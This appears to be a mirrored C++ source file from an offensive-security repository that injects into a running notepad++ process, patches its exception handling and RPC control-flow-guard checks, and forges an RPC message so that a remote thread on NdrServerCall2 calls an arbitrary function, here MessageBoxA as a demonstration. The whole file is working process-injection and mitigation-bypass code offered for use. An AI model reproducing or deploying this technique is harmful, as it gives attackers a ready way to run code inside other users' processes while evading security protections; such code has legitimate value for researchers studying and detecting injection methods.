mirror of
https://github.com/klezVirus/RpcProxyInvoke
synced 2026-06-08 15:19:20 +00:00
klez.virus
285 lines
11 KiB
C++
285 lines
11 KiB
C++
#include <stdio.h>
|
|
#include <windows.h>
|
|
#include <rpcdce.h>
|
|
#include <rpcndr.h>
|
|
#include <intrin.h>
|
|
#include "RpcExec.h"
|
|
#include "CreateProcess.h"
|
|
#include "Patcher.h"
|
|
|
|
#pragma comment(lib, "rpcrt4.lib")
|
|
|
|
// OFFSETS relative to Windows 11 24H
|
|
#define RPC_INIT_OFFSET 0x759c
|
|
#define RPC_INVOKE_OFFSET 0x677f0
|
|
|
|
void CraftRpcMessage(
|
|
HANDLE hProcess,
|
|
void* arguments_address,
|
|
void* function_address
|
|
) {
|
|
__try {
|
|
// InitializeHeapManager
|
|
InitializeHeapManager(hProcess);
|
|
|
|
RPC_MESSAGE* rpc_message = (RPC_MESSAGE*)HeapManagerAlloc(sizeof(RPC_MESSAGE));
|
|
RPC_DISPATCH_TABLE* rpc_dispatch_table = (RPC_DISPATCH_TABLE*)HeapManagerAlloc(sizeof(RPC_DISPATCH_TABLE));
|
|
MIDL_STUB_DESC* midl_stub_desc = (MIDL_STUB_DESC*)HeapManagerAlloc(sizeof(MIDL_STUB_DESC));
|
|
MIDL_SERVER_INFO* midl_server_info = (MIDL_SERVER_INFO*)HeapManagerAlloc(sizeof(MIDL_SERVER_INFO));
|
|
RPC_CLIENT_INTERFACE* rpc_client_interface = (RPC_CLIENT_INTERFACE*)HeapManagerAlloc(sizeof(RPC_CLIENT_INTERFACE));
|
|
RPC_SYNTAX_IDENTIFIER* rpc_syntax_identifier = (RPC_SYNTAX_IDENTIFIER*)HeapManagerAlloc(sizeof(RPC_SYNTAX_IDENTIFIER));
|
|
RPC_VERSION* rpc_version = (RPC_VERSION*)HeapManagerAlloc(sizeof(RPC_VERSION));
|
|
unsigned short* MyInterface_FormatStringOffsetTable = (unsigned short*)HeapManagerAlloc(sizeof(unsigned short));
|
|
void* rpc_arguments = HeapManagerAlloc(sizeof(ARGUMENTS));
|
|
void* rpc_function = HeapManagerAlloc(sizeof(UINT64));
|
|
|
|
BYTE* proc_string = (BYTE*)HeapManagerAlloc(256);
|
|
|
|
BYTE stack_string[] = {
|
|
0x32, 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x68, 0x00, 0xc0, 0x00, 0x10, 0x00, 0x44,
|
|
0x0d, 0x0a, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x00, 0x00, 0x00,
|
|
0x0b, 0x00, 0x48, 0x00, 0x08, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x10, 0x00, 0x0b, 0x00, 0x48,
|
|
0x00, 0x18, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x20, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x28, 0x00,
|
|
0x0b, 0x00, 0x48, 0x00, 0x30, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x38, 0x00, 0x0b, 0x00, 0x48,
|
|
0x00, 0x40, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x48, 0x00, 0x0b, 0x00, 0x48, 0x00, 0x50, 0x00,
|
|
0x0b, 0x00, 0x48, 0x00, 0x58, 0x00, 0x0b, 0x00, 0x70, 0x00, 0x60, 0x00, 0x0b, 0x00, 0x00
|
|
};
|
|
|
|
// Check all for null
|
|
if (rpc_message == NULL || rpc_dispatch_table == NULL || midl_stub_desc == NULL || midl_server_info == NULL || rpc_client_interface == NULL || rpc_syntax_identifier == NULL || rpc_version == NULL || proc_string == NULL) {
|
|
printf("Failed to allocate memory for RPC Message\n");
|
|
return;
|
|
}
|
|
|
|
/*
|
|
// Print all addresses and the var name
|
|
printf("rpc_message: %p\n", rpc_message);
|
|
printf("rpc_dispatch_table: %p\n", rpc_dispatch_table);
|
|
printf("midl_stub_desc: %p\n", midl_stub_desc);
|
|
printf("midl_server_info: %p\n", midl_server_info);
|
|
printf("rpc_client_interface: %p\n", rpc_client_interface);
|
|
printf("rpc_syntax_identifier: %p\n", rpc_syntax_identifier);
|
|
printf("rpc_version: %p\n", rpc_version);
|
|
printf("proc_string: %p\n", proc_string);
|
|
printf("MyInterface_FormatStringOffsetTable: %p\n", MyInterface_FormatStringOffsetTable);
|
|
printf("rpc_arguments: %p\n", rpc_arguments);
|
|
printf("rpc_function: %p\n", rpc_function);
|
|
printf("function_address: %p\n", function_address);
|
|
*/
|
|
|
|
HeapManagerCopy(proc_string, stack_string, sizeof(stack_string));
|
|
HeapManagerCopy(rpc_arguments, arguments_address, sizeof(ARGUMENTS));
|
|
printf("[*] Arguments copied\n");
|
|
|
|
HeapManagerWriteQWORD(rpc_function, (UINT64)function_address);
|
|
|
|
HeapManagerWriteDWORD(&rpc_dispatch_table->DispatchTableCount, 1);
|
|
HeapManagerWriteQWORD(&rpc_dispatch_table->DispatchTable, (UINT64)rpc_function);
|
|
|
|
HeapManagerWriteWORD(&rpc_syntax_identifier->SyntaxVersion.MajorVersion, 2);
|
|
|
|
HeapManagerWriteDWORD(&midl_stub_desc->Version, 0x50002);
|
|
HeapManagerWriteDWORD(&midl_stub_desc->MIDLVersion, 0x800025b);
|
|
HeapManagerWriteQWORD(&midl_stub_desc->mFlags, 1);
|
|
HeapManagerWriteDWORD(&midl_stub_desc->fCheckBounds, 1);
|
|
HeapManagerWriteQWORD(&midl_stub_desc->RpcInterfaceInformation, (UINT64)rpc_client_interface);
|
|
|
|
HeapManagerWriteQWORD(&midl_server_info->pStubDesc, (UINT64)midl_stub_desc);
|
|
|
|
HeapManagerWriteQWORD(&midl_server_info->DispatchTable, (UINT64)rpc_function);
|
|
HeapManagerWriteQWORD(&midl_server_info->ProcString, (UINT64)proc_string);
|
|
HeapManagerWriteQWORD(&midl_server_info->FmtStringOffset, (UINT64)MyInterface_FormatStringOffsetTable);
|
|
|
|
HeapManagerWriteDWORD(&rpc_client_interface->Length, sizeof(RPC_CLIENT_INTERFACE));
|
|
|
|
HeapManagerWriteWORD(&rpc_client_interface->InterfaceId.SyntaxVersion.MajorVersion, 1);
|
|
HeapManagerWriteWORD(&rpc_client_interface->TransferSyntax.SyntaxVersion.MajorVersion, 2);
|
|
HeapManagerWriteDWORD(&rpc_client_interface->Flags, 0x4000000);
|
|
HeapManagerWriteQWORD(&rpc_client_interface->DispatchTable, (UINT64)rpc_dispatch_table);
|
|
HeapManagerWriteQWORD(&rpc_client_interface->InterpreterInfo, (UINT64)midl_server_info);
|
|
|
|
//HeapManagerWriteQWORD(&rpc_message->Handle, (UINT64)rpcBindingHandle);
|
|
HeapManagerWriteQWORD(&rpc_message->Handle, NULL);
|
|
HeapManagerWriteDWORD(&rpc_message->RpcFlags, 0x1000);
|
|
HeapManagerWriteDWORD(&rpc_message->DataRepresentation, 0x10);
|
|
HeapManagerWriteQWORD(&rpc_message->RpcInterfaceInformation, (UINT64)rpc_client_interface);
|
|
HeapManagerWriteQWORD(&rpc_message->Buffer, (UINT64)rpc_arguments);
|
|
HeapManagerWriteDWORD(&rpc_message->BufferLength, sizeof(ARGUMENTS));
|
|
|
|
/*
|
|
DWORD threadID;
|
|
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RpcExceptionFilter, (LPVOID)0x000006a6, 0, &threadID);
|
|
if (NULL == hThread) {
|
|
printf("[-] Could not execute thread!\n");
|
|
goto cleanup;
|
|
}
|
|
else {
|
|
printf("[+] Started thread %i\n", threadID);
|
|
}
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
*/
|
|
|
|
|
|
DWORD threadID;
|
|
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)NdrServerCall2, rpc_message, 0, &threadID);
|
|
if (NULL == hThread) {
|
|
printf("[-] Could not execute thread!\n");
|
|
goto cleanup;
|
|
}
|
|
else {
|
|
printf("[+] Started thread %i\n", threadID);
|
|
}
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
printf("Exception\n");
|
|
}
|
|
cleanup:
|
|
HeapManagerFree(hProcess);
|
|
|
|
}
|
|
|
|
BOOL RemoteRpcInit(HANDLE hProcess) {
|
|
HMODULE hRpcRt4 = LoadLibraryA("rpcrt4.dll");
|
|
if (hRpcRt4 == NULL)
|
|
{
|
|
printf("[-] Failed to load rpcrt4.dll\n");
|
|
return FALSE;
|
|
}
|
|
|
|
FARPROC RpcInit = (FARPROC)GetProcAddress(hRpcRt4, "PerformRpcInitialization");
|
|
if (RpcInit == NULL)
|
|
{
|
|
printf("[-] Failed to get PerformRpcInitialization function address: %08x\n", GetLastError());
|
|
RpcInit = (FARPROC)((UINT64)hRpcRt4 + RPC_INIT_OFFSET);
|
|
printf("[*] Using hardcoded offset address: 0x%llx\n", (ULONGLONG)RpcInit);
|
|
}
|
|
|
|
__try {
|
|
DWORD threadID;
|
|
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)RpcInit, NULL, 0, &threadID);
|
|
if (NULL == hThread) {
|
|
printf("[-] Could not execute thread!\n");
|
|
return FALSE;
|
|
}
|
|
else {
|
|
printf("[+] Started thread %i\n", threadID);
|
|
}
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
return TRUE;
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
printf("[-] Exception\n");
|
|
return FALSE;
|
|
}
|
|
return FALSE;
|
|
}
|
|
|
|
BOOL RemoteLoadRpc(HANDLE hProcess) {
|
|
BOOL bSuccss = FALSE;
|
|
// InitializeHeapManager
|
|
InitializeHeapManager(hProcess);
|
|
|
|
const char libName[] = "rpcrt4.dll";
|
|
void* libNameAddress = HeapManagerAlloc(sizeof(libName));
|
|
|
|
HeapManagerCopy(libNameAddress, (void*)libName, sizeof(libName));
|
|
|
|
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, libNameAddress, 0, NULL);
|
|
if (NULL == hThread) {
|
|
printf("[-] Could not execute thread!\n");
|
|
goto cleanup;
|
|
}
|
|
else {
|
|
printf("[+] Started thread\n");
|
|
}
|
|
WaitForSingleObject(hThread, INFINITE);
|
|
bSuccss = TRUE;
|
|
|
|
cleanup:
|
|
if (hThread != NULL) {
|
|
CloseHandle(hThread);
|
|
}
|
|
HeapManagerFree(hProcess);
|
|
return bSuccss;
|
|
}
|
|
|
|
|
|
int main() {
|
|
|
|
HMODULE hMod = LoadLibraryA("kernelbase.dll");
|
|
HMODULE hRpcRt4 = LoadLibraryA("rpcrt4.dll");
|
|
HMODULE hU32 = LoadLibraryA("user32.dll");
|
|
|
|
if (hMod == NULL || hRpcRt4 == NULL || hU32 == NULL)
|
|
{
|
|
printf("[-] Failed to load DLLs\n");
|
|
return 1;
|
|
}
|
|
|
|
FARPROC targetFunction = GetProcAddress(hU32, "MessageBoxA");
|
|
if (targetFunction == NULL)
|
|
{
|
|
printf("[-] Failed to get MessageBoxA function address: %08x\n", GetLastError());
|
|
return 1;
|
|
}
|
|
printf("[*] Function `MessageBoxA` address: 0x%llx\n", (ULONGLONG)targetFunction);
|
|
|
|
PARGUMENTS arguments_address = (PARGUMENTS)malloc(sizeof(ARGUMENTS));
|
|
if (arguments_address == NULL) {
|
|
printf("Failed to allocate memory for arguments\n");
|
|
return 1;
|
|
}
|
|
memset(arguments_address, 0, sizeof(ARGUMENTS));
|
|
|
|
DWORD pid = GetProcessIdByName(L"notepad++.exe");
|
|
if (pid == -1)
|
|
{
|
|
printf("[-] Failed to create process\n");
|
|
return 1;
|
|
}
|
|
printf("[+] Found process with PID: %d\n", pid);
|
|
|
|
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
|
|
if (hProcess == NULL) {
|
|
printf("[-] Failed to open process\n");
|
|
return 1;
|
|
}
|
|
|
|
LPVOID title_text = VirtualAllocEx(hProcess, NULL, 0x1000, MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE);
|
|
|
|
if (title_text == NULL) {
|
|
printf("Failed to allocate memory for title and text\n");
|
|
return 1;
|
|
}
|
|
SIZE_T bytes_written;
|
|
WriteProcessMemory(hProcess, title_text, "Hello from RpcExec!", 20, &bytes_written);
|
|
WriteProcessMemory(hProcess, (LPVOID)((UINT64)title_text+0x100), "RpcExec ", 9, &bytes_written);
|
|
|
|
arguments_address->arg1 = 0;
|
|
arguments_address->arg2 = (UINT64)title_text;
|
|
arguments_address->arg3 = ((UINT64)title_text + 0x100);
|
|
arguments_address->arg4 = 0;
|
|
printf("[*] Arguments address: 0x%llx\n", (ULONGLONG)arguments_address);
|
|
printf("[*] Title address: 0x%llx\n", (ULONGLONG)title_text);
|
|
printf("[*] Text address: 0x%llx\n", (ULONGLONG)title_text + 0x100);
|
|
|
|
RemoteLoadRpc(hProcess);
|
|
RemoteRpcInit(hProcess);
|
|
NtdllExceptionPatch(hProcess);
|
|
PatchRpcCfg(hProcess);
|
|
|
|
for (int i = 0; i < 3; i++) {
|
|
__try {
|
|
CraftRpcMessage(hProcess, arguments_address, targetFunction);
|
|
}
|
|
__except (EXCEPTION_EXECUTE_HANDLER) {
|
|
printf("[-] Exception\n");
|
|
}
|
|
}
|
|
|
|
free(arguments_address);
|
|
|
|
return 0;
|
|
}
|